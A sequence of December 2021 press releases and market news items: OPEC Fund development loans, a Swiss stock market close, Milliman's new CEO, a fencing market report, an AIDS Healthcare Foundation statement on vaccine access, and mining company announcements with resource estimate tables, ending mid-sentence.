projects: Bosnia and Herzegovina: 25 million (US$27.15 million) loan for the Corridor Vc Motorway, Section Nemila-Donja Gracanica (Zenica North), to improve travel connections for some 150,000 people in the city of Zenica, the country's most important center for mining and steel production. This loan will finance a 17.6-km road section including roads, tunnels and viaducts. Corridor Vc will improve the connectivity of Bosnia and Herzegovina with its neighbors and the Western Balkans region. Reduced travel times are expected to boost trade and tourism, strengthening the local economy. Cote d'Ivoire: US$60 million loan for the Northern Agro-Industrial Pole Project (2 PAI-Nord). The project will support the construction and rehabilitation of social and market infrastructure, including rural roads, healthcare centers and schools, warehouses and collection centers, as well as infrastructure relating to fisheries and livestock production. It will boost food security and household incomes for some 400,000 people and promote the export of cash crops. Capacity building and institutional strengthening are also part of the project. Dominican Republic: US$60 million loan for the Program to Expand Electricity Networks and Reduce Technical Losses in Distribution Systems to support the government's effort to reduce electricity distribution losses and improve the efficiency of the electrical infrastructure nationwide. Civil works will include the construction of new substations and distribution networks and the rehabilitation of existing ones in provinces situated in the north and east of the country. Around 1.3 million people are to benefit from the program. Ghana: US$20 million loan for the Integrated Rural Development Project (Phase 2) to expand socio-economic infrastructure and improve livelihoods for some 120,000 individuals across high-poverty districts selected via a demand-driven approach. Works will include constructing and equipping classrooms, teachers' quarters, health clinics, market infrastructure and drainage works, as well as providing credit to small- and medium-sized enterprises (SMEs) involved in various activities along the agriculture value chain - particularly those impacted by the COVID-19 pandemic. Kenya: US$40 million loan for the Development of Urban Roads in Five Counties - Phase 1 project to construct a 66-km road network in the northeastern region in Wajir Country, a high-poverty area populated by 720,000 people. On completion, the project will facilitate trade, improve access to social services and marketplaces, and enhance employment opportunities. Lesotho: US$19 million loan for the Regeneration of Landscapes and Livelihood (ROLL) Project to improve livelihoods and promote resource-use practices, reducing environmental degradation in more than 2,200 villages populated by some 630,000 people. Project components include a 'Regeneration Coalition Facility' that will bring together various stakeholders to identify measures needed to accomplish these aims, and a 'Regeneration Opportunities Fund' that will catalyze investments in land regeneration projects. Technical assistance will also be provided to rural SMEs wanting to shift to more sustainable practices, while seed funding will support research and development. Malawi: US$15 million loan for the Dowa Town Water Supply and Sanitation Project to expand and upgrade the existing water supply system to meet current demand and expand supply. The project will include construction of a water treatment plant, a pumping station and a 51 km-long distribution pipeline, as well as the installation of new communal water points and the rehabilitation of existing ones. Also planned is the replacement of the sewage system at the Dowa district hospital and the installation of sanitation facilities at the Dzaleka refugee camp. The project is expected to improve the health and living conditions for around 100,000 people. Nicaragua: US$23 million loan for the Empalme La Tronquera - Pueblo Nuevo Rural Road Project to promote sustainable development and regional integration in the northern department of Esteli, where agriculture is the main economic activity. The project includes the upgrading of a 22-km road - presently usable only during the dry season - to provide year-round access for some 110,000 people. The improved road will facilitate the transport of crops to marketplaces and enhance connectivity to social services and employment opportunities. Rwanda: US$18 million loan for the Nyacyonga-Mukoto Road Project to upgrade a 36-km stretch that will improve connections for circa 2.8 million people engaged in economic activities that include agriculture, mining and tourism. In addition to strengthening livelihoods, the project will improve access to production areas, markets and social amenities. The project will also help boost trade with neighboring countries, particularly DR Congo and Uganda. Turkmenistan: US$45 million loan for the Marine Merchant Fleet Project. It will include the construction of three new vessels for rail, passenger and dry cargo. Once operational the new ships will increase the utilization of the Turkmenbashi seaport on the Caspian Sea, part of the Europe-Caucasus-Asia transport corridor and one of the largest ports in the country. The project will also offer technology-transfer by providing training in shipbuilding and repair to the shipyard's staff. In addition to boosting trade and economic activity, the project will create job opportunities, particularly for young graduates. The OPEC Fund's new financing will also support a US$25 million private sector operation to support infrastructure projects in selected Latin America and Caribbean countries. About the OPEC Fund The OPEC Fund for International Development (the OPEC Fund) is the only globally mandated development institution that provides financing from member countries to non-member countries exclusively. The organization works in cooperation with developing country partners and the international development community to stimulate economic growth and social progress in low- and middle-income countries around the world. The OPEC Fund was established by the member countries of OPEC in 1976 with a distinct purpose: to drive development, strengthen communities and empower people. Our work is people-centered, focusing on financing projects that meet essential needs, such as food, energy, infrastructure, employment (particularly relating to MSMEs), clean water and sanitation, healthcare and education. To date, the OPEC Fund has committed more than US$22 billion to development projects in over 125 countries with an estimated total project cost of US$187 billion. Our vision is a world where sustainable development is a reality for all. Logo - https://mma.prnewswire.com/media/1584526/OPEC_Fund_Logo.jpg BRUSSELS (dpa-AFX) - After opening slightly up, the Switzerland stock market kept moving higher on Wednesday thanks to sustained buying at several counters and eventually ended the session on a firm note. Investors looked ahead to the monetary policy announcement from the Federal Reserve, due later in the day. The market stayed firm despite lingering concerns about surging Omicron variant of the coronavirus and the likely impact on global economic recovery. The benchmark SMI ended higher by 119.37 points or 0.96% at 12,530.95, slightly off the day's high. Lonza Group climbed 2.8%. Roche Holding and Partners Group both ended higher by 1.6%. Sika, Givaudan, Geberit, Nestle and Alcon gained 1 to 1.35%. SGS, Richemont, Zurich Insurance Group, Swiss Life Holding, Swiss Re and ABB also ended on a firm note. Bank stocks UBS Group and Credit Suisse shed about 0.9% and 0.5%, respectively. In the Mid Price Index, VAT Group, Lindt & Spruengli, Galenica Sante, Sonova and Tecan Group moved up 2 to 3.1%. Temenos Group climbed nearly 2%, while Ems Chemie Holding and Kuehne & Nagel both ended higher by about 1.8%. Dufry, Zur Rose and SIG Combibloc ended lower by 2.6%, 2.5% and 2.27%, respectively. AMS, Julius Baer and Georg Fischer closed with moderate losses. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. Corry is Milliman's first chief executive officer from outside the U.S. SEATTLE, Dec. 15, 2021 /PRNewswire/ -- Milliman, Inc., one of the premier global consulting and actuarial firms, today announced the election of Dermot Corry as the firm's new chief executive officer. Corry is a leader of Milliman's Dublin office and has served as the firm's Global Life and Financial Services Practice Director and on the Milliman board for the last six years. He is the first professional from outside the United States to be elected CEO of Milliman. Corry's term begins on January 1, 2022. "Dermot has been a leader since the day he joined Milliman, bringing an essential vision as we've evolved to become a global firm," says Milliman Chairman Ken Mungan. "Dermot is the ideal person to assume this role at this moment of immense change and opportunity, with data and technology revolutionizing the way our clients do business." Corry joined the firm in 2009 when Milliman acquired Life Strategies Limited, the Irish consulting firm that Corry led. Milliman's Life and Financial Services business experienced strong growth during Corry's time as Global Practice Director. Corry's expertise includes a wide range of life insurance and related activities, including appointed actuary work for many companies. "Milliman provides crucial expertise to our clients, playing a vital role in protecting the health and financial wellbeing of people everywhere," said Corry. "We are in an era of unprecedented uncertainty that calls for unique awareness of risk. Milliman brings a data-driven perspective to these volatile times and will continue to be the leader advising on insurance, retirement, and healthcare." Corry succeeds Stephen White, who will be retiring. During White's nine-year tenure as CEO, Milliman doubled its annual revenue, reaching $1.4B this year. Milliman opened offices in 13 new countries under White's leadership and has become a more dynamic, data-driven, and diverse firm. About Milliman Milliman is among the world's largest providers of actuarial and related products and services. The firm has consulting practices in healthcare, property & casualty insurance, life insurance and financial services, and employee benefits. Founded in 1947, Milliman is an independent firm with offices in major cities around the globe. For further information, visit milliman.com. The "Europe Fencing Market 2021-2027" report has been added to ResearchAndMarkets.com's offering. The Europe fencing market is anticipated to grow at a substantial CAGR of 7.2% during 2021-2027 The European fencing market is mainly driven by installations in new nonresidential buildings or by renovation or replacement of existing structures. Fencing is used in all residential, non-residential, and other commercial sectors, including retail, hospitality, recreational facilities, institutions such as hospitals and educational institutes, government facilities, workspaces, and offices. In countries such as Germany, France, the UK, and the Nordics, it is becoming common practice to implement high-security fencing in all commercial buildings. Europe was the second-largest market for fencing in 2020. The market in the country is propelled mainly by the growth of installations in new industrial buildings as well as higher demand from renovations and retrofit activities. Also, the demand from retrofit and renovation in the European region accounts for a significant share in the market growth. The European construction industry is projected to witness dynamic growth until 2021. The fencing market is segmented based on the material, distribution, and end-use. Based on material, the market is sub-segmented into concrete, metal, plastic, and wood. Based on distribution, the market is categorized into offline and online. Based on end-use, the market is segmented into agricultural, energy and power, government, military and defense, mining, petroleum and chemicals, residential, and warehouse. The agricultural segment is expected to be one of the major revenue contributors during the forecast period. With a rising demand for food and energy, efficient and long-term animal control is vital. For food, animals are drawn to agricultural areas, but this leads to inconveniences for both farmers and animals. Therefore, increasing agricultural practices across the globe drive the demand for fencing in agricultural fields. Country-wise, the market is analyzed based on the UK, Germany, France, Italy, Spain, and Rest of Europe. In 2020, UK is expected to account for the largest market share in the Europe fencing market, and it is also expected to grow at one of the fastest rates over the forecast period. The growth in the construction of new buildings and an increase in renovation activities will bode well for the overall fencing in the UK, thus increasing the demand for new and innovative fencing. Moreover, with respect to fencing, the demand for wood is expected to grow in the country as compared to previous years, whereas plastic will lead the country as the most preferred material for fencing. Key Topics Covered: 1. Report Summary 1.1. Research Methods and Tools 1.2. Market Breakdown 2. Market Overview and Insights 2.1. Scope of the Report 2.2. Analyst Insight Current Market Trends 2.2.1. Key Findings 2.2.2. Recommendations 2.2.3. Conclusion 2.3. Rules Regulations 3. Competitive Landscape 3.1. Competitive Dashboard 3.2. Key Strategy Analysis 3.3. Key Company Analysis 3.3.1. Overview 3.3.2. Financial Analysis 3.3.3. SWOT Analysis 3.3.4. Recent Developments 4. Market Determinants 4.1 Motivators 4.2 Restraints 4.1. Opportunities 5. Market Segmentation 5.1. Europe Fencing Market by Material 5.1.1. Concrete 5.1.2. Metal 5.1.3. Plastic 5.1.4. Wood 5.2. Europe Fencing Market by Distribution 5.2.1. Offline 5.2.2. Online 5.3. Europe Fencing Market by End-use 5.3.1. Agricultural 5.3.2. Energy and Power 5.3.3. Government 5.3.4. Military and Defense 5.3.5. Mining 5.3.6. Petroleum and Chemicals 5.3.7. Residential 5.3.8. Warehouse 6. Regional Analysis 6.1. UK 6.2. Germany 6.3. France 6.4. Italy 6.5. Spain 6.6. Rest of Europe 7. Company Profiles 7.1. Associated Materials, LLC 7.2. Betafence 7.3. Cascade Fence Deck, LLC 7.4. CERTAINTEED (Saint Gobain Company) 7.5. CLD FENCING 7.6. GSM 7.7. Jacksons Fencing 7.8. N.V. Bekaert S.A. 7.9. Quickfence 7.10. Siddall Hilton Products Ltd. For more information about this report visit https://www.researchandmarkets.com/r/qfwt6t View source version on businesswire.com: https://www.businesswire.com/news/home/20211215005982/en/ Contacts: ResearchAndMarkets.com Laura Wood, Senior Press Manager press@researchandmarkets.com For E.S.T Office Hours Call 1-917-300-0470 For U.S./CAN Toll Free Call 1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 This week marks the one-year anniversary of the first COVID-19 vaccine administered in the United States. It is also an unfortunate reminder of the glaring inequalities in vaccine access that persist among rich and developing countries-and the ever-present lack of international cooperation displayed by governments in responding to the pandemic, according to AIDS Healthcare Foundation. More than 70% of people in the U.S. and about 56% of the global population have had at least one vaccine dose. However, of the more than 8.5 billion doses administered worldwide, 73% have gone to wealthy countries, with barely 7% of people in low-income countries getting a shot. Less than 13% of people on the African continent have received even one dose. "The world collectively held its breath when COVID-19 vaccines were developed in record time. We thought, surely this planet-wide crisis will be the catalyst to finally unite all nations in defeating a common enemy in the novel coronavirus," said AHF President Michael Weinstein. "But as we saw with 'the other pandemic' of HIV/AIDS, the pharmaceutical industry's political sway and exorbitant profits from lifesaving medicines continue to take precedence over human lives. The only way to get this new pandemic under control is to end the vaccine apartheid perpetrated by a handful of rich countries and to vaccinate the world." It has been over a year since South Africa and India introduced a proposal to waive intellectual property protections on COVID-19 vaccines at the World Trade Organization. U.S. President Joe Biden has also voiced support for patent waivers and technology transfers, which must be the first steps in boosting global vaccine production. "It's time for the countries blocking the expansion of global vaccine access to see what lies ahead unless they change course a drawn out pandemic, millions more deaths, and accelerating instability across the world," added Weinstein. "These threats will exist as long as governments allow drug companies to set the terms by which the world is forced to abide. The anniversary of the first COVID-19 shot in the U.S. should be met with celebration, instead we are left with a stark realization that the world is still disturbingly far behind in beating the pandemic and preparing for the next one." In addition to sharing vaccine patents and technologies, countries must also share excess doses with other nations. COVID-19 has proven what we already knew to be true; Infectious diseases know no borders-no countries are safe from the dangerous emerging COVID-19 variants that will persist until everyone in all countries has access to lifesaving vaccines. AIDS Healthcare Foundation (AHF), the largest global AIDS organization, currently provides medical care and/or services to over 1.6 million clients in 45 countries worldwide in the US, Africa, Latin America/Caribbean, the Asia/Pacific Region and Europe. To learn more about AHF, please visit our website: www.aidshealth.org, find us on Facebook: www.facebook.com/aidshealth and follow us on Twitter: @aidshealthcare and Instagram: @aidshealthcare View source version on businesswire.com: https://www.businesswire.com/news/home/20211215005952/en/ Contacts: US MEDIA CONTACT: Ged Kenslea,Senior Director, Communications, AHF +1.323.308.1833 work +1.323.791.5526 mobile gedk@aidshealth.org Denys Nazarov, Director of Global Policy Communications, AHF +1 323.308.1829 denys.nazarov@ahf.org VANCOUVER, BC / ACCESSWIRE / December 15, 2021 / The Power Play by The Market Herald has announced the release of a new interviews with Tocvan Ventures, Loncor Gold, Galane Gold, Silver Bullet Mines, and Cloud DX discussing their latest press releases. The Power Play by The Market Herald provides investors with a quick snapshot of what they need to know about the company's latest press release through exclusive insights and interviews with company executives. Tocvan Ventures Corp. (CSE:TOC) commences drilling at its Pilar Project Tocvan Ventures has commenced drilling at its Pilar Au-Ag Project in Sonora, Mexico. Building off of successful Phase I and II drill programs, drilling of 5,000 to 8,000 meters is planned between now and July of 2022. Drilling will focus on continued step-out drilling along the Main Zone Trend and new 4-Trench Trend. VP of Exploration Brodie Sutherland sat down with Caroline Egan to discuss the program. For the full interview with Brodie Sutherland and to learn more about Tocvan Ventures' Pilar Project, click here. Loncor Gold (TSX:LN) announces PEA results for its Adumbi gold deposit Loncor Gold (LN) has announced the results of the Preliminary Economic Assessment (PEA) for its Adumbi gold deposit. The deposit is located within its 85 per cent-owned Imbo Project in the Democratic Republic of the Congo. John Barker, CEO of Loncor Gold sat down with Caroline Egan to highlight the PEA results. For the full interview with John Barker and to learn more about Loncor Gold's PEA results, click here. Galane Gold (TSXV:GG) commences commercial production at its Galaxy operations Galane Gold (GG) has commenced commercial production at its Galaxy operations in South Africa. During the final quarter of 2021, production at Galaxy has continued to increase and as a result, the operation is considered to have started commercial production. This is in line with the company's expectations and represents a significant milestone for Galane. Nick Brodie, CEO of Gelane sat down with Caroline Egan to discuss the news. For the full interview with Nick Brodie and to learn more about Galene Gold's Galaxy operations, click here. Silver Bullet Mines (TSXV:SBMI) provides update from its Washington Mine in Idaho Silver Bullet Mines (SBMI) has provided the first technical disclosure on its work at the Washington Mine in the placer gold district in Idaho. The results from three rounds of sampling confirmed the high-grade nature of the property's mineralization and potential for the ongoing discovery and development of additional silver and gold resources. Director and VP, Capital Markets Peter Clausi sat down with Caroline Egan to discuss the results. For the full interview with Peter Clausi and to learn more about Silver Bullet Mines' Washington Mine, click here. Cloud DX's (TSXV:CDX) Connected Health platform selected by Hamilton Health Sciences Cloud DX has been selected as the Remote Patient Monitoring (RPM) platform for Hamilton Health Sciences (HHS) Surgical Transitions program. Launching this month, the program will monitor selected surgical patient populations using Cloud DX's Connected Health platform. Patient outcome data will be included in research conducted by scientists at the Population Health Research Institute (PHRI) at McMaster University. Robert Kaul, CEO of Cloud DX sat down with Caroline Egan to discuss the news. For the full interview with Robert Kaul and to learn more about Cloud DX's RPM program, click here. Interviews for The Power Play by The Market Herald are released daily. To learn more about the companies featured in The Power Play or to explore our other interviews visit The Power Play by The Market Herald. About The Market Herald The Market Herald Canada is the leading source of authoritative breaking stock market news for self-directed investors. Our team of Canadian markets reporters, editors and technologists covers the entire listed company universe in Canada. We cover over 3,985 businesses, their people, their investors, and their customers. We write the stories that move the Canadian capital markets. DISCLAIMER: Report Card Canada Media Ltd. ("Report Card") is a wholly-owned subsidiary of Market Herald Limited, an Australian company ("Market Herald"). Report Card is not an advisory service, and does not offer, buy, sell, or provide any other rating, analysis or opinion on the securities we discuss. We are retained and compensated by the companies that we provide information on to assist them with making information available to the public. All information available on themarketherald.ca and/or this press release should be considered as commercial advertisement and not an endorsement, offer or recommendation to buy or sell securities. Report Card is not registered with any financial or securities regulatory authority in any province or territory of Canada, will not be performing any registerable activity as defined by the applicable regulatory bodies and do not provide nor claim to provide investment advice or recommendations to any visitor of this site or readers of any content on or originating from themarketherald.ca. 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Please be sure to check the Privacy Policies of these sites as well as their "Terms of Service" before engaging in any business or uploading any information. CONTACT: The Market Herald Brianna Anthony brianna.anthony@themarketherald.ca themarketherald.ca SOURCE: The Market Herald View source version on accesswire.com:https://www.accesswire.com/677915/The-Power-Play-by-The-Market-Herald-Releases-New-Interviews-with-Tocvan-Ventures-Loncor-Gold-Galane-Gold-Silver-Bullet-Mines-and-Cloud-DX Vancouver, British Columbia--(Newsfile Corp. - December 15, 2021) - Brascan Gold Inc. (CSE: BRAS) ("Brascan" or the "Company") is pleased to announce that due diligence investigations on the Alegre Gold Project (the "Project") in Brazil are currently underway. The due diligence includes an ongoing site visit by a consultant for Brascan, which has confirmed the existence of active or recently active artisanal mines (garimpos) apparently recovering gold from structurally controlled shear zones. The Project comprises a single exploration licence of 9,465 hectares, accessed by a five hour drive from Belem city located in Para State, northeastern Brazil. The due diligence is evaluating the potential of the Alegre Gold Project and the previous announced LOI between Brascan and 100% claim owner Chapada Brasil Mineracao Ltda. ("CBM" or the "Optionor"). Brascan will earn a 100% interest in the Project upon the completion of the following over two and a half years (2.5) from the signing date (all figures expressed in Canadian Dollars): (A) Paying to CBM the amount of $400,000; (B) Issuing 750,000 common shares to CBM or its nominee; and (C) Completing an exploration program with a total cumulative expenditure of $1,000,000 within two and a half (2.5) years of the signing date of the definitive agreement. The share issuances, cash payments and exploration commitments all accelerate over the two and a half year (2.5) term of the earn-in option. CBM will retain a two percent (2%) net smelter royalty (NSR), fifty percent (50%) of which can be purchased by Brascan for $1,000,000, on or before a production decision. The Company may pay finders' fees or commissions to eligible arm's-length third-parties in connection with the Project, as permitted by the Canadian Stock Exchange. CBM reports that the Project is located on the same gold mineralization trend as Goldmining Inc.'s advanced Cachoeira gold project 15 km to the north and Oz Minerals' Centrogold Project 30 km to the south (considered one of Brazil's largest undeveloped gold projects). The Alegre Gold Project is accessible by highway from the city of Belem, which in turn is accessible by scheduled air services. https://www.goldmining.com/projects/brazil/cachoeira/ Qualified person Harrison Cookenboo Ph.D., P.Geo. and a QP by the standards of Canadian National Instrument 43-101, has reviewed the scientific and technical information that forms the basis for this news release and has approved the disclosure herein. For more information, investors should review the Company's filings that are available at www.sedar.com. Contact Information Balbir Johal Director Telephone: 604 812 1747 Email: bjohal75@gmail.com Forward-Looking Statements This news release contains certain forward-looking statements that are "forward-looking information" within the meaning of applicable securities laws. All statements that are not historical facts, including without limitation, statements regarding future estimates, plans, programs, forecasts, projections, objectives, assumptions, expectations or beliefs of future performance, including statements regarding the terms of the consulting arrangement are "forward-looking information". These forward-looking statements reflect the expectations or beliefs of management of the Company based on information currently available to it. Forward-looking statements are subject to a number of risks and uncertainties, including those detailed from time to time in filings made by the Company with securities regulatory authorities, which may cause actual outcomes to differ materially from those discussed in the forward-looking statements. These factors should be considered carefully and readers are cautioned not to place undue reliance on such forward-looking statements. The forward-looking statements and information contained in this news release are made as of the date hereof and the Company undertakes no obligation to update publicly or revise any forward-looking statements or information, whether as a result of new information, future events or otherwise, unless so required by applicable securities laws. NOT FOR DISSEMINATION IN THE UNITED STATES OR FOR DISTRIBUTION TO U.S. NEWSWIRE SERVICES To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107744 Vancouver, British Columbia--(Newsfile Corp. - December 15, 2021) - Southern Silver Exploration Corp. (TSXV: SSV) ("Southern") reported today that it has filed a technical report ("Report") prepared in accordance with Canadian Securities Administrators' National Instrument 43-101. The Report may be found under the Company's profile at www.sedar.com and on Southern's website, www.southernsilverexploration.com . The Report, dated December 13th, 2021, entitled "NI 43-101 Technical Report, Mineral Resource Estimate for Cerro Las Minitas Project, Durango State, Mexico " was prepared by Garth D. Kirkham, P.Geo. and Arthur Barnes, P.Eng., FSAIMM, following the guidelines of NI 43-101 and NI 43-101F1. The updated Mineral Resource estimate features increased sulphide resources from two new mineral deposits, a small oxide resource in one of the new deposit areas and an update of the previously reported deposits utilizing new metal pricing and metallurgical recoveries. Resource reporting now utilizes a Net Smelter Return ("NSR") cut-off and reports average grades on a AgEq, ZnEq and $US/t NSR basis. The Report supports the disclosure made by the Company in its news release dated October 27, 2021, "Southern Silver Increases Mineral Resource at Cerro Las Minitas to: Indicated 137Mozs AgEq or 2.3Blbs ZnEq: 42.1Mozs Ag, 358Mlbs Pb, and 895Mlbs Zn; and Inferred 198Mozs AgEq or 3.3Blbs ZnEq: 73.6Mozs Ag, 500Mlbs Pb, and 1,009Mlbs Zn." There are no material differences in the mineral resources contained in the Report from those disclosed in the October 27, 2021 news release. Cerro Las Minitas Resource Model Highlights: The 2021 update, at a US$60/t NSR cut-off, features: Indicated Mineral Resources - 137 million ounces silver equivalent or 2.3 billion pounds zinc equivalent from 12.3 million tonnes averaging 106g/t Silver, 0.1g/t Gold, 0.2% Copper, 1.3% Lead and 3.3% Zinc (347g/t AgEq; 8.4% ZnEq) equalling a US$130/t NSR value, containing: 42.1 million ounces of silver; 28 thousand ounces of gold; 44 million pounds of copper, 358 million pounds of lead; and 895 million pounds of zinc. Inferred Mineral resources - 198 million ounces silver equivalent or 3.3 billion pounds zinc equivalent from 19.6 million tonnes averaging 117g/t Silver, 0.1g/t Gold, 0.2% Copper, 1.2% Lead and 2.3% Zinc (314g/t AgEq; 7.6% ZnEq) equalling a US$123/t NSR value containing: 73.6 million ounces of silver; 78 thousand ounces of gold; 98 million pounds of copper, 500 million pounds of lead; and 1,009 million pounds of zinc (1Blbs Zn). The new Resource Estimate incorporates an additional 20,991 metres of core drilling completed in 2020-21, updated metal recoveries and pricing and the incorporation of over 1,127 metres of specific gravity ("SG") measurements. Table 1: Base-case Sulphide Mineral Resource Estimate for CLM Project Utilizing a US$60/t NSR cut-off value: Indicated Resources Average Grade Zone Tonnes Ag Au Pb Zn Cu AgEq ZnEq NSR (Kt) (g/t) (g/t) (%) (%) (%) (g/t) (%) (US$/t) Blind Zone 2,347 97 0.04 1.9 2.1 0.11 295 7.2 108 El Sol Zone 1,154 80 0.04 2.2 2.0 0.09 279 6.8 100 Skarn Front Zone 7,254 108 0.06 0.8 4.2 0.19 383 9.3 140 La Bocona Zone 1,571 132 0.19 2.2 1.6 0.17 302 7.3 136 Total 12,325 106 0.07 1.3 3.3 0.16 347 8.4 130 Inferred Resources Average Grade Zone Tonnes Ag Au Pb Zn Cu AgEq ZnEq NSR (Kt) (g/t) (g/t) (%) (%) (%) (g/t) (%) (US$/t) Blind Zone 1,347 83 0.14 1.4 1.8 0.06 248 6.0 88 El Sol Zone 863 65 0.03 1.8 2.3 0.05 263 6.4 90 Las Victorias Zone 1,083 148 0.66 2.1 2.6 0.14 431 10.5 145 Skarn Front Zone 11,466 115 0.05 0.7 2.7 0.32 318 7.7 126 South Skarn Zone 3,789 140 0.18 2.0 1.3 0.09 309 7.5 130 La Bocona Zone 1,057 106 0.20 1.3 2.2 0.18 293 7.1 117 Total 19,605 117 0.12 1.2 2.3 0.23 314 7.6 123 Indicated Resources Contained Metal Zone Tonnes Ag TrOz Au TrOz Pb Zn Cu AgEq TrOz ZnEq Lbs (Kt) (000's) (000's) (Mlbs) (Mlbs) (Mlbs) (000's) (Mlbs) Blind Zone 2,347 7,350 3 99 109 5.5 22,291 371 El Sol Zone 1,154 2,956 2 55 51 2.2 10,337 172 Skarn Front Zone 7,254 25,106 14 126 678 30.7 89,421 1,490 La Bocona Zone 1,571 6,688 10 77 56 6.0 15,275 255 Total 12,325 42,100 28 358 895 44 137,323 2,288 Inferred Resources Contained Metal Zone Tonnes Ag TrOz Au TrOz Pb Zn Cu AgEq TrOz ZnEq Lbs (Kt) (000's) (000's) (Mlbs) (Mlbs) (Mlbs) (000's) (Mlbs) Blind Zone 1,347 3,582 6 40 55 2 10,749 179 El Sol Zone 863 1,816 1 35 43 1 7,283 121 Las Victorias Zone 1,083 5,152 23 51 62 3 15,006 250 Skarn Front Zone 11,466 42,462 18 177 687 80 117,065 1,951 South Skarn Zone 3,789 17,007 22 167 112 7 37,660 628 La Bocona Zone 1,057 3,589 7 30 51 4 9,950 166 Total 19,605 73,610 78 500 1,009 98 197,712 3,295 1) The current Resource Estimate was prepared by Garth Kirkham, P.Geo., of Kirkham Geosystems Ltd. 2)All mineral resources have been estimated in accordance with Canadian Institute of Mining and Metallurgy and Petroleum ("CIM") definitions, as required under National Instrument 43-101 ("NI43-101"). 3) Mineral resources were constrained using continuous mining units demonstrating reasonable prospects of eventual economic extraction. 4) Silver Equivalents were calculated from the interpolated block values using relative recoveries and prices between the component metals and silver to determine a final AgEq value. The same methodology was used to calculate the ZnEq value. 5) Silver Equivalents and NSR$/t values were calculated using average long-term prices of $20/oz. silver, $1,650/oz. gold, $3.25/lb. copper, $1.0/lb. lead and $1.20/lb. zinc. Metal recoveries, payables and deductions are reported in Table 1. All prices are stated in $USD. 6)Mineral resources are not mineral reserves until they have demonstrated economic viability. Mineral resource estimates do not account for a resource's mineability, selectivity, mining loss, or dilution. 7)An Inferred Mineral Resource has a lower level of confidence than that applying to an Indicated Mineral Resource and must not be converted to a Mineral Reserve. It is reasonably expected that the majority of Inferred Mineral Resources could be upgraded to Indicated Mineral Resources with continued exploration. 8) All figures are rounded to reflect the relative accuracy of the estimate and therefore numbers may not appear to add precisely. Oxide Resources A small oxide resource was identified within the upper 100 metres of surface in the La Bocona zone. The 2021 oxide resources at a US$60/t cut-off are: An Indicated Mineral resource totalling 65,000 tonnes averaging 28g/t Ag and 2.2 g/t Au equalling a US$93/t NSR value, containing: 58,000 ounces of silver and 4,500 ounces of gold. An Inferred Mineral resource totalling 219,000 tonnes averaging 120g/t Ag and 0.8g/t Au equalling a US$88/t NSR value, containing: 844,000 ounces of silver and 5,600 ounces of gold A 74% silver recovery was utilized in the resource model and was based on acid-leach test work conducted on samples from the Blind - El Sol zone. Gold recovery has been estimated at 70% for the purposes of this report. Further metallurgical test work is required to confirm the gold recovery from the La Bocona oxides. Table 2: Base-case Oxide Mineral Resource Estimate for CLM Project Utilizing a US$60/t NSR cut-off value: Average Grade Contained Metal La Bocona Tonnes Ag Au NSR Ag TrOz Au TrOz (kt) (g/t) (g/t) (US$/t) (koz) (koz) Indicated 65 28 2.2 93 58 4.5 Inferred 219 120 0.8 88 844 5.6 Notes: The $60/t NSR cut-off value was calculated using average long-term prices of $20/oz. silver, $1,650/oz. gold. Base metals were not recovered in the leach circuit. Metallurgical work from batch test work recovered 74% silver from oxidized composites from the Blind - El Sol zones. Gold recovery was not assessed and is estimated at 70% for the purposes of this report. This work, along with marketing studies, were used to decide the NSR cut-off value. All prices are stated in $USD. Cerro Las Minitas Project Highlights: The updated NI43-101 Mineral Resource estimate significantly increases the size of the resource on a tonnage basis by approximately 33%, with most of the increase resulting from the addition and delineation of the La Bocona and the South Skarn deposits; The Mineral Resource update features a significant increase in contained silver in both the indicated and inferred categories which now total Indicated: 42.1Mozs Silver and Inferred: 73.6 Mozs Silver representing an approximate 38% increase from the 2019 resource estimate; The new deposits have a much stronger Silver-Lead bias resulting in generally higher overall NSR values for the South Skarn and the Indicated component of the La Bocona resource estimates compared to previous resource estimates. Similarly, silver maintains a higher proportion of the overall metal content of the deposits than in earlier estimates; Higher grade portions of the new resources are relatively shallow and occur within 300 metres of surface which could potentially benefit future mining scenarios; Gold recovery is currently not considered in the sulphide NSR calculation. Further metallurgical work is planned to assess gold recoveries in both the sulphide and oxidized mineralization; Mineralization in both the South Skarn and Mina La Bocona deposits remains open at depths below 500 metres, leaving additional exploration potential. Several other targets remain un-tested or poorly-tested in the area of the Cerro and will form the basis for further exploration on the project through 2022; This new Mineral Resource estimate will now form the basis for a Preliminary Economic Assessment ("PEA"), which is expected to be completed by Q2 2022; and Modelled Deposits Six separate mineral deposits were modelled in the resource estimate, four deposits in 2019 and two in 2021. The Blind, El Sol and Las Victorias deposits form sets of sub-parallel, northwest-trending and steeply dipping mineralized zones which are traced for over 1300 metres strike and up to 600 metres depth. The Skarn Front forms beneath the Blind, El Sol and Las Victorias deposits and is localized on the outer edge of the skarn alteration zone surrounding the Central Monzonite Intrusion and has been drilled along an approximate 1100 metre strike length and to depths of up to 1000 metres. Similarly, the South Skarn Zone is localized on the outer edge of the skarn alteration zone surrounding the Central Monzonite Intrusion, but on the eastern side. The deposit forms a tabular, steeply east-dipping body that has a strike length of approximately 350m and has been drilled to a depth of 500m. The Bocona Zone consists of two separate sub-zones - the Bocona Skarn Zone and the Muralla Zone. The Bocona Skarn Zone is also localized on the outer edge of the skarn alteration zone surrounding the Central Monzonite Intrusion, but on the North side, wrapping around the Northeastern Margin. The upper part of the Muralla zone is strongly oxidized and is the basis of the quoted oxide resource. Mineral Resource Estimate Parameters for the South Skarn and Bocona Zones The estimate was carried out using separate block models for the Bocona and South Skarn Zones constrained by 3D wireframes of the individual mineralized zones. The block model is comprised of an array of blocks measuring 10m x 3m x 10m which are sub-blocked to 0.5m x 0.3m x 0.5m, with grades for Ag, Au, Cu, Pb and Zn interpolated using Inverse Distance to the Second Power (ID2) weighting. NSR/t, silver equivalent and zinc equivalent values were subsequently calculated from the interpolated block grades. The interpolation was carried out in two passes using progressively larger search radii of 60m x 60m x 30m to a maximum of 100m x 100m x 50m for all zones with the exception of the La Bocona Skarn zone where the second pass was limited to 60m x 15m x 25m at an orientation of 60 degrees perpendicular to strike and -80 degrees down dip. The first pass was restricted to a 